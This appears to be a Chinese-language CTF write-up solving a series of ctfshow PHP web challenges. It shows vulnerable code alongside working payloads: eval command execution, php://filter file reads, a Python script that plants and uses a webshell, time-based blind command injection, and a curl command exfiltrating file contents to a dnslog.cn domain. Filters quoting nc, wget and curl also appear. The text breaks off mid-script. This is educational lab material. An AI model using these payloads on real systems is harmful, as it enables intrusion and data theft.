参考博客仍然是南神博客
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
这里有个intval函数:获取变量的整数值
通过使用指定的进制 base
转换(默认是十进制),返回变量 value
的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE
错误并返回 1。
?num[]=1
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
num != 4476但是num === 4476,可以通过intval函数来int一下
?num=4476.0
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
要满足正则/^php$/im但不能满足/^php$/i,可以去看看这个m
/i表示匹配大小写
/m 多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。但是当出现换行符 %0a
的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
?cmd=%0Aphp
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这个就不能用num=4476.0,因为用的是弱比较,不会比较浮点和整数类型的,这里可以用16进行来绕
?num=0x117c
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
虽然16进制可以绕过第一层但是第二层他过滤了字母,于是想到八进制,是直接用的0开头
?num=010574
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这里不让0开头了,但是可以在前面加上一个加号,当空格
?num=+010574
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
过滤了点而已关我什么事
?num=+010574
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
只要u != flag.php即可
?u=./flag.php
当然也可以用php伪协议
?u=php://filter/read=convert.base64-encode/resource=flag.php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a != b and md5(a) === md5(b)
这里md5总结可以看南神的博客https://www.wlhhlc.top/posts/16813/
这里直接传两数组,都返回Null
a[]=1&b[]=2
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
后面是三目运算符
如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
如果get参数HTTP_FLAG
的值为flag,就读取文件,也就是输出flag
GET: ?a=b
POST:HTTP_FLAG=flag
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
首先创建一个数组,然后通过for循环向数组中写如随机数
第二个是判断是否传入了n并判断n是否在数组中
最后用file_put_contents函数写数据到
in_array(search,array,type)
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。
没有第三个参数的时候进行的就是弱比较,就会存在强制的类型转换,如123.php就会转换成123
GET: ?u=123.php
POST:content=
写个脚本
import requests
url = 'http://0272970f-dd04-4b71-bd9b-fd8b76ea6992.challenge.ctf.show/'
shell = '124.php'
data = {'content':""}
url_shell = url+'?n='+shell
YoN = True
while YoN:
getshell = requests.post(url=url_shell,data=data)
shell_url=url+shell
req = requests.get(url=shell_url)
if(req.status_code == 200):
print('[+]写入shell成功')
data2 = {'mumuzi':'system("tac flag36d.php");'} #先ls
req2 = requests.post(url=shell_url,data=data2)
print(req2.text)
YoN = False
else:
print('[!]写入shell失败')
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
is_numeric是用于检测变量是否为数字或数字字符串
后面有 eval 函数,明示需要进行命令执行 v3需要有分号,v2不能有分号
这样的话v0就 = $v1 and FALSE and FALSE
但是php的运算具有优先级
&& > = > and
如$a = true and false;,因为等号大于and,所以这里赋值为$a = True
?v1=1&v2=system("ls")&v3=;
ctfshow.php flag36d.php index.php
?v1=1&v2=system("tac%20ctfshow.php")&v3=;
$flag_is_8964b4200x2d4cbc0x2d41cc0x2dbe940x2dffad6a15d11e
0x2d转成-
8964b420-4cbc-41cc-be94-ffad6a15d11e
一百道了,真好
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
阴间过滤了家人们,我带你们打
但是还有其他的知识点,可以根据群主提供的hint找到
反射类ReflectionClass执行命令
ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令
?v1=1&v2=echo new ReflectionClass&v3=;
得到的flag还是0x2d转成-,但是flag少了一位,所以最后一位要进行爆破
欧气测试ing
试了14次NMD
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
is_numeric() 用于检测是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true。
substr($v2,2) 是相当于返回v2[2:]
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents($v3,$str)是将$str的内容写入并保存为$v3(第一个参数是文件名,第二个参数是内容)
这里v2和v3都要是数字,substr取v2[2:],v2开头可以是00来作为开头,然后v1(v2[2:])。web100的时候说了等号优先级比and高,所以v4那里满足v2是数字即可保证v4为真
v2要保证能写shell,又要保证能为数字。
首先v2是shell,先整个 '=`tac *`;'
然后想办法对其进行处理,直接hex的话
有字母,我觉得不行。在之前对其base64之后
3d是等号,解码的时候不是很严格,哇,金色传说
v2 = 504438395948526859794171594473
v1就要对其进行hex解码,用hex2bin(16进制转ascii字符,不是转2进制)
v3要对其进行base64解码,可以控制的协议流用base64解码写入文件
最终payload:(记得v2前面加个00)
GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php
POST:v1=hex2bin
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
v2不能有皮爱吃皮,我刚刚payload也没屁爱吃屁啊(吃瓜)
GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php
POST:v1=hex2bin
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
是绕杀1!!
跟之前md5一样传两个数组
GET:?v2[]=1
POST:v1[]=2
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
(那你倒是直接给我flag啊)
注意这里$$key=$$value,$($key)=$($value),这里$key=error,所以这里可以传一个$error(变量覆盖了属于是)
这里有die($error);和die($suces);都能输出flag,所以这里有两个利用方式
payload1:执行die($suces)
这里其实可以看见,$flag不等于flag,就打印error信息,这里想办法把error覆盖为flag,这样就可以打印error看到flag
先是对get进行覆盖,然后对suces进行覆盖,因为要用suces输出,然后post的值里不能有flag,所以这里先GET一个suces=flag
然后要绕$flag,因为此时$suces已经得到了flag的值,所以这里直接把$flag改成其他的即可
?suces=flag&flag=1
payload2:
上面思路有了,这里可以get一个suces=flag,然后post一个error=suces即可
GET:suces=flag
POST:error=suces
别说 还挺妙
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
这里在之前的基础上还增加了v1!=v2,但是赋不一样的值就行了
GET:?v2[]=1
POST:v1[]=2
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
这里涉及到了信的函数parse_str()
parse_str(string,array):把查询字符串解析到变量中
如parse_str("dota_st=yyds");
echo $dota_st."
"; #南神yyds
所以
GET:?v3=flag
POST:v1=flag=327a6c4304ad5938eaf0efb6cc3e53dc
post的值为v1=flag=md5($v3),懂伐
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的,这里是c的值要为[a-zA-Z].可以用%00截断!
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
上面说了ereg可以用%00截断,那就没啥事了
?c=MMZ%00778
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
命令执行吗
v1和v2要存在字母(不是只能有字母)
不懂,反正用php内置类让v1不进行报错,v2执行命令
?v1=mysqli&v2=system('tac fl36dg.txt')
群主改描述说他报警了(滑稽)
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
这里继续用之前的payload会发现在v2的正则匹配绕不过去,因为不知道文件名字是什么,但是system(ls)无法执行
南神写:可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构
?v1=FilesystemIterator&v2=getcwd
回显fl36dga.txt
然后访问url/fl36dga.txt即可
变量覆盖
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
var_dump()函数用于输出变量的相关信息
可以看到这里还是对v1和v2进行了正则的过滤,然后如果$v1有ctfshow,会进入getFlag函数
然后会执行$ctfshow = $$v2
这里用全局变量GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
?v1=ctfshowweb&v2=GLOBALS
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
新的函数来啦,is_file(),函数检查指定的文件名是否是正常的文件
这里filter是定义的函数检查$file参数中是否带正则里的东西
?file=php://filter/resource=flag.php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
换zip、bzip、zlib试试
?file=compress.zlib://flag.php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
啊这是没想到compress吗
但是没过滤filter啊
?file=php://filter/resource=flag.php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
trim是函数移除字符串两侧的空白字符或其他预定义字符
num要为数字或数字字符串,但不能等于36,取出空白字符后也不能为36,进入filter之后出来还要为36
…十六进制和八进制都被限制了不让用
php跑个脚本看看有什么能来绕过trim呢
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}
发现能用%0c来绕过trim函数
?num=%0c36
好难
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
骗子,设置了一个$fl0g===“flag_give_me”,我才发现前面加了感叹号,不准有这个
可以知道flag在$flag里,fun可以为echo $flag
然后传POST CTF_SHOW=&CTF_SHOW.COM=&c=echo $flag
但是没有回显,查询之后发现是因为变量里面有个点
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
这里超推荐看讲解,其实出现了[之后php就会去找],如果找到了那就是数组,没有找到就被被解析成_
[PHP内核]PHP内核学习(四)------回答PHP的字符串解析特性Bypass([、空格被解析为_,[[只将第一个[解析为_)
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
之前payload用不了了,因为禁用了echo、flag,这里用命令执行那边的知识点
GET:?mumuzi=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[mumuzi])
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
哦直接过滤了g i f c o d真有你的,highlight里面有i用不了了爬
我先做的web127再做的126,所以考点去看看127
注意是会转变成数组,所以这里要取数组,注意用eval函数最后加个分号
GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
当然用其他的也行
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
$a=$_SERVER['argv'];
var_dump($a);
举例就是?a=2
,就会变成$a=2
哦,然后题目最后要$ctf_show = ilove36d
当传入ctf_show=ilove36d时,就会变成 $ctf_show=ilove36d,满足要求
之前说了,空格 + [ 会被替换成下划线,这里过滤了+和[
?ctf show=ilove36d
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
f1不能有数字或者字母,然后call_user_func在102讲过,call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数。
f1可以使用gettext拓展,用南神的
echo gettext("dotastnb");
//输出结果:dotastnb
echo _("ctfshownb");
//输出结果:ctfshownb
因此f1可以为_,即call_user_func(’_’,‘dotastnb’)就可以输出dotastnb,但是外面还套了一个call_user_func这可怎么办呢
可以用get_defined_vars函数,虽然我也不知道什么意思但是先用
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars
其中在内部进行的操作为:
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos() — 查找字符串首次出现的位置(不区分大小写)
这里意思是ctfshow出现的位置大于0就会读取文件
echo stripos("You love php, I love php too!","PHP");
?>
#output:9
?f=/ctfshow/../../../../../../../var/www/html/flag.php
然后看源代码
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
f不能是xxxctfshow(反正前面有东西)
然后FALSE那里因为是强比较,所以ctfshow就算在开头值也是0而不是FALSE,而如果是弱比较的会就会进入die(‘bye!!’);
所以这里payload就是
POST:f=ctfshow
而实际这里的考点是正则的最大回溯,南神:
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
import requests
url = " "
data = {
'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这一次前面就出现了其他东西,就用脚本了
import requests
url = "http://8b6b53a0-d082-4c0b-a21d-6d4ec4199440.challenge.ctf.show/"
data = {
'f': 'mumuzi'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
打开是一个网站,robots.txt里有个/admin,访问之后
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
php运算符优先级 ||
优先级低于&&
所以这里password=$flag和username=admin满足一个即可,然后code要为admin
?username=admin&password=&code=admin
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
6个字符的命令执行吗,试试能不能绕过ing,绕不过,这里去看Firebasky的博客https://blog.csdn.net/qq_46091464/article/details/109095382(找出题人博客)。原话如下:
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
但是这里可以执行命令但没有回显,可以找方法外带,这里使用http://www.dnslog.cn/
?F=`$F`; curl `cat flag.php|grep "flag"`.di5nz0.dnslog.cn
加上括号即可
ctfshow{cdf42e3b-da64-45f9-9400-e0f43a6db0bf}
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
parse_str():把查询字符串解析到变量中
extract():函数从数组中将变量导入到当前的符号表
$_SERVER['QUERY_STRING']:web127
变量覆盖,毕竟这里最后也是问的是key1和key2,然后这里可以用POST传和GET传
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
先会以数组来输出,然后extract就成了正常的传参
?_POST[a]=dotast
就会输出array(1) { ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast
paylaod:
GET:?_POST[key1]=36d&_POST[key2]=36d
flag在源代码
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
web133 plus
还是Firebasky师傅出的题,嗯
这里给出的payload是用cp把flag.php到1.txt,但是web133却不能用
?F=`$F `;cp flag.php 1.txt
然后访问1.txt
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
这次是羽师傅出的。看起来就是个命令执行然后绕过, 对于exec,是执行一个外部程序,回显最后一行,需要用echo输出。
这里没有echo相当于是无回显,所以想着用管道符将其输出到某个文本中
但是这里过滤了>符号,怎么办呢
根据查询,发现可以用tee指令
tee a.txt b.txt,将a.txt复制到b.txt
ls | tee b.txt,将ls命令的执行结果写入b.txt
?c=ls /|tee ls
将ls的结果写入"ls"
同样的
?c=tac /f149_15_h3r3|tee flag
访问/flag
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
这里开始接触到类了,这里直接调用getFlag类即可
POST:ctfshow=ctfshow::getFlag
然后查看源码即可
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
唉哟哟哟,strripos()函数,查找xxx在字符串中最后一次出现的位置,如果大于-1就退出函数,意思是不让用冒号了呗
这里还是看call_user_func函数
可以使用数组
所以payload
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
web136 plus?
通过尝试之前的操作,发现再次访问时页面还是在当前页面,所以猜测无法写入文件了
这里涉及到了shell编程和盲注。其实就相当于盲注文件名字和文件内容
截取字符串可以用awk等命令,cut可以分割字符
判断命令执行结果可以用shell编程的if语句和sleep()函数
这里来实验一下,首先在当前目录写入一个flag.php
this is flag.php
your flag is:
flag{test_a_flag}
使用awk
再使用cut命令切割
通过if和sleep来判断,因此可以写出脚本。
先查看根目录,文件的名字,举例:
然后这里等的稍微有点久
import requests
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
res = ''
for i in range(1,10):
for j in range(1,20):
for k in range(32,128):
k = chr(k)
payload = "?c="+f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload,timeout=(1.5,1.5))
except:
res += k
print(res)
break
res += ' '
趁此机会把读flag的exp写了,然后发现就只需要把ls /改成 cat /文件名即可,算了慢慢等吧
然后因为我这个校区网速问题连2秒都会少字符。。。。。。。。。。
应该和136是一样的,为f149_15_h3r3,但是这校区网真的卡的离谱1.5都timeout了笑死我还学个毛
import requests
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
res = ''
for j in range(1,60):
for k in range(32,128):
k = chr(k)
